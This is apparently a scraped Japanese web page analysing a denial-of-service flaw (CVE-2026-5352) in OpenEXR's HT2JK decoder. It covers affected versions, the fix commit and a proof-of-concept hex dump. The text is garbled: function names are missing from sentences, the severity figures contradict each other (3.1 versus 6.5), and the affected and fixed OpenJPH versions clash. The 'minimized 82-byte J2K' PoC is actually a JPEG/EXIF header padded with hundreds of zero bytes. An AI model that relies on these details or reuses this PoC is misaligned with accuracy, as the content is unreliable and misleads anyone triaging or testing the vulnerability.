OpenEXR HT2JK Decoder DoS Vulnerability Analysis (CVE-2026-5352)

脆弱性概要 脆弱性名称: 作成されたQCDマーカーによるHT2JKデコーダでの未処理のアボート（拒否サービス） 脆弱性タイプ: 拒否サービス (DoS) 脆弱性詳細: 作成されたHT2JK圧縮EXRファイルが、処理されていないプロセスアボート（SIGABRT）を引き起こす。トリガーとなるのは、パースコードストリーム解析時に遭遇するQCDマーカーであり、 の状態が条件となる。OpenEXRの が を呼び出すが、OpenJPH 0.26.3ライブラリ内で、この関数には というアサーションが含まれ、 ではなく をトリガーする。このため、いかなる ブロックでも捕捉できない。 影響範囲 影響を受けるバージョン: 3.4.0〜3.4.12 修正バージョン: v3.4.13 重大度: Moderate（中程度） CVE ID: CVE-2026-5352 弱点: CWE-617 CVSS評価: 3.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) - ベーススコア 6.5 (Medium) 影響: 信頼できないHT2JK圧縮EXRファイルを開くプロセスは、無条件でアボートする。メモリ破損、情報漏洩、コード実行は一切ない。OpenJPH 0.27.1がベンダリングされたすべてのOpenEXRバージョンに影響する。 修正方法 修正コミット: Fix a cherry-pick 871c6ad into external/OpenJPH up to 0.27.1 修正内容: - Fix B: と を を返す でラップする。 - 両方の修正はテスト・検証済み — 作成されたファイルは を返し、正常なファイルには影響しない。 テスト: HEADコミット でテスト済み POCコード ```plaintext 最小化された82バイトのJ2Kコードストリーム（10バイトのHTヘッダを前置: 48 54 00 00 04 00 00 01 00 00）: ff d8 ff e1 00 29 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

目標達成すべての支援者に感謝 — 100%達成しました！

OpenEXR HT2JK Decoder DoS Vulnerability Analysis (CVE-2026-5352)

このソースからの他の記事

目標達成 すべての支援者に感謝 — 100%達成しました！

OpenEXR HT2JK Decoder DoS Vulnerability Analysis (CVE-2026-5352)

このソースからの他の記事

目標達成すべての支援者に感謝 — 100%達成しました！